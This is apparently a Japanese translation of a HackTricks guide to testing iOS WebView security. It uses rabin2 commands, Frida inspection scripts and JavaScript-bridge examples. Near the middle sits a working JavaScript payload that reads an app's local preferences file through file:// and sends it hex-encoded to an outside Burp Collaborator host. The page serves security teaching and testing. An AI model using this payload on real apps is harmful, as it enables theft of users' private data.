iOS WebViews

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

このページのコードはこちらから抽出されました。詳細についてはページを確認してください。

WebViewsの種類

WebViewsはアプリ内でWebコンテンツをインタラクティブに表示するために使用されます。iOSアプリケーション向けにさまざまな種類のWebViewsがあり、異なる機能とセキュリティ機能を提供しています。以下は簡単な概要です:

  • UIWebViewはiOS 12以降推奨されていません。JavaScriptの無効化をサポートしていないため、スクリプトのインジェクションや**Cross-Site Scripting(XSS)**攻撃に対して脆弱です。

  • WKWebViewはアプリにWebコンテンツを組み込むための選択肢であり、コンテンツとセキュリティ機能に対する高度な制御を提供します。JavaScriptはデフォルトで有効ですが、必要に応じて無効にすることもできます。また、JavaScriptが自動的にウィンドウを開かないようにする機能や、すべてのコンテンツを安全に読み込む機能をサポートしています。さらに、WKWebViewのアーキテクチャは、メインのアプリプロセスに影響を与えるメモリの破損のリスクを最小限に抑えています。

  • SFSafariViewControllerはアプリ内で標準化されたWebブラウジング体験を提供し、読み取り専用のアドレスフィールド、共有およびナビゲーションボタン、Safariでコンテンツを開くための直接リンクを含む特定のレイアウトで認識されます。SFSafariViewControllerではJavaScriptを無効にすることはできず、Safariとクッキーやデータを共有し、ユーザーのプライバシーをアプリから保護します。App Storeのガイドラインに従って目立つ位置に表示する必要があります。

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

In the process of examining WebViews configurations, two primary types are focused on: UIWebView and WKWebView. For identifying these WebViews within a binary, commands are utilized, searching for specific class references and initialization methods.

  • UIWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

このコマンドは、バイナリ内でそれに関連するテキスト文字列を検索することで、UIWebView のインスタンスを特定するのに役立ちます。

  • WKWebViewの特定

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

同様に、WKWebViewについて、このコマンドは、その使用を示すテキスト文字列をバイナリ内で検索します。

さらに、WKWebViewがどのように初期化されるかを見つけるために、次のコマンドが実行され、その初期化に関連するメソッドシグネチャが対象となります:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScriptの構成の検証

WKWebViewに関しては、必要がない限りJavaScriptを無効にすることがベストプラクティスとされています。javaScriptEnabledプロパティがfalseに設定されていることを確認するために、コンパイルされたバイナリが検索されます。これにより、JavaScriptが無効になっていることが保証されます。

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Only Secure Content Verification

WKWebViewは、UIWebViewとは対照的に、混合コンテンツの問題を特定する機能を提供します。これは、hasOnlySecureContentプロパティを使用してチェックされ、すべてのページリソースが安全な接続を介してロードされていることを確認します。コンパイルされたバイナリ内での検索は、次のように実行されます:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

動的解析インサイト

動的解析には、ヒープを調査してWebViewインスタンスとそのプロパティを調べる作業が含まれます。webviews_inspector.jsというスクリプトが使用され、UIWebViewWKWebViewSFSafariViewControllerインスタンスを対象とします。このスクリプトは、見つかったインスタンスに関する情報をログに記録し、URLやJavaScript、セキュアコンテンツに関連する設定についても記録します。

ヒープの調査は、ObjC.choose()を使用してWebViewインスタンスを特定し、javaScriptEnabledhasonlysecurecontentのプロパティをチェックすることができます。

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

スクリプトは次のように実行されます:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

主な成果:

  • WebViewのインスタンスが正常に特定および検査されます。

  • JavaScriptの有効化と安全なコンテンツ設定が検証されます。

この要約は、WebViewの構成を静的および動的アプローチを通じて分析する際に関与する重要な手順とコマンドを網羅し、JavaScriptの有効化や混合コンテンツの検出などのセキュリティ機能に焦点を当てています。

WebViewプロトコルの処理

WebViewでコンテンツを処理することは重要な側面であり、特にhttp(s)://file://tel://などのさまざまなプロトコルを扱う場合に重要です。これらのプロトコルにより、アプリ内でリモートおよびローカルコンテンツの読み込みが可能になります。ローカルコンテンツを読み込む際には、ユーザーがファイル名やパスに影響を与えたり、コンテンツ自体を編集したりすることを防ぐための注意が必要です。

WebViewsはコンテンツの読み込みに異なるメソッドを提供しています。UIWebViewでは、loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:などのメソッドが使用されます(現在は非推奨)。一方、WKWebViewでは、ウェブコンテンツのためにloadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:loadRequest:などのメソッドが使用されます。ローカルファイルを読み込む際には、通常、pathForResource:ofType:URLForResource:withExtension:init(contentsOf:encoding:)などのメソッドが利用されます。特に、loadFileURL:allowingReadAccessToURL:メソッドは、WebViewに特定のURLやディレクトリを読み込ませる能力を持っており、ディレクトリが指定された場合には機密データが露出する可能性があります。

これらのメソッドをソースコードやコンパイルされたバイナリで見つけるためには、次のようなコマンドが使用されます:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

ファイルアクセスに関して、UIWebViewは普遍的に許可しますが、WKWebViewはallowFileAccessFromFileURLsallowUniversalAccessFromFileURLs設定を導入し、両方ともデフォルトでfalseになっています。

セキュリティ設定を検査するためのFridaスクリプトの例が提供されています:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

最後に、ローカルファイルを外部に持ち出すためのJavaScriptペイロードの例が、適切に構成されていないWebViewsに関連する潜在的なセキュリティリスクを示しています。このペイロードは、ファイルの内容を16進数形式にエンコードしてからサーバーに送信することを目的としており、WebViewの実装における厳格なセキュリティ対策の重要性を強調しています。

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

WebViewを介して公開されるネイティブメソッド

iOSにおけるWebViewネイティブインターフェースの理解

iOS 7以降、AppleはWebView内のJavaScriptとネイティブSwiftまたはObjective-Cオブジェクト間の通信のためのAPIを提供しました。この統合は主に次の2つの方法を通じて実現されます:

  • JSContext:SwiftまたはObjective-CブロックがJSContext内の識別子にリンクされると、JavaScript関数が自動的に作成されます。これにより、JavaScriptとネイティブコードの間でシームレスな統合と通信が可能になります。

  • JSExport ProtocolJSExportプロトコルを継承することで、ネイティブのプロパティ、インスタンスメソッド、およびクラスメソッドをJavaScriptに公開できます。これにより、JavaScript環境で行われた変更がネイティブ環境に反映され、その逆も同様です。ただし、この方法を介して機密データが誤って公開されないようにすることが重要です。

Objective-CでのJSContextへのアクセス

Objective-Cでは、UIWebViewJSContextには次のコード行でアクセスできます:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebViewとの通信

WKWebViewでは、JSContextへの直接アクセスは利用できません。代わりに、postMessage関数を介してメッセージパッシングが利用され、JavaScriptからネイティブへの通信が可能となります。これらのメッセージのハンドラは以下のように設定され、JavaScriptがネイティブアプリケーションと安全にやり取りできるようになります。

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

インタラクションとテスト

JavaScript は、スクリプトメッセージハンドラを定義することで、ネイティブレイヤーとやり取りできます。これにより、Web ページからネイティブ関数を呼び出すなどの操作が可能になります。

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

以下は、ネイティブ関数呼び出しの結果をキャプチャして操作するために、HTML内でコールバック関数をオーバーライドする方法です:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

ネイティブ側は、JavaScriptBridgeMessageHandlerクラスでJavaScriptの呼び出しを処理し、数値の乗算などの操作の結果を処理してJavaScriptに送り返し、表示やさらなる操作が行われます。

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViewsのデバッグ

https://blog.vuplex.com/debugging-webviewsからのチュートリアルに基づく)

iOSのWebViews内のWebコンテンツを効果的にデバッグするには、console.log()に送信されたメッセージがXcodeログに表示されないため、Safariの開発者ツールを使用する特定のセットアップが必要です。以下は、主要な手順と要件を強調した簡略化されたガイドです:

  • iOSデバイスの準備: iOSデバイスでSafari Web Inspectorを有効にする必要があります。これは、設定 > Safari > 詳細に移動し、_Web Inspector_を有効にすることで行われます。

  • macOSデバイスの準備: macOSの開発マシンで、Safari内で開発者ツールを有効にする必要があります。Safariを起動し、Safari > 環境設定 > 詳細にアクセスし、_開発メニューを表示_オプションを選択します。

  • 接続とデバッグ: iOSデバイスをmacOSコンピュータに接続し、アプリケーションを起動した後、macOSデバイス上のSafariを使用してデバッグしたいWebViewsを選択します。Safariのメニューバーで Develop に移動し、iOSデバイスの名前をホバーしてWebViewsのリストを表示し、調査したいインスタンスを選択します。この目的のために新しいSafari Web Inspectorウィンドウが開きます。

ただし、次の制限に注意してください:

  • この方法でのデバッグにはmacOSデバイスが必要です。なぜなら、Safariに依存しているからです。

  • この方法では、Xcodeを介してデバイスにロードされたアプリケーション内のWebViewsのみがデバッグの対象となります。App StoreやApple Configuratorを介してインストールされたアプリ内のWebViewsはこの方法でデバッグできません。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated